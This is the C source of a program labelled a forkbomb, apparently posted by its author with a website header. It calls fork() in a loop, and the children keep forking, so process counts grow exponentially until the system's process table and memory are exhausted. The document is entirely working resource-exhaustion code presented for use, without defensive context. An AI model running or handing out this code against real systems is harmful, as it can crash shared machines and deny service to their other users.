A Forkbomb Written In C

/* forkbomb.c
   Michael Craze
   http://projectcraze.ath.cx
*/

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void usage(char *s);

int main(int argc, char **argv){
    int i, fv, iter;
    if(argc != 2){
        usage(argv[0]);
    }
    iter=atoi(argv[1]);
    for(i=0;i<iter;i++){
        if((fv=fork())==-1){
            perror(argv[0]);
        }
        else if(fv==0){
            sleep(1000);
        }
        else{
            printf("Process: %8d -- i/iter = %d/%d\n",getpid(),i,iter);
            fflush(stdout);
        }
    }
    return 0;
}

void usage(char *s){
    fprintf(stderr,"Usage: %s \n",s);
    fprintf(stderr," *Note: fork calls scale logrithmically\n");
    exit(1);
}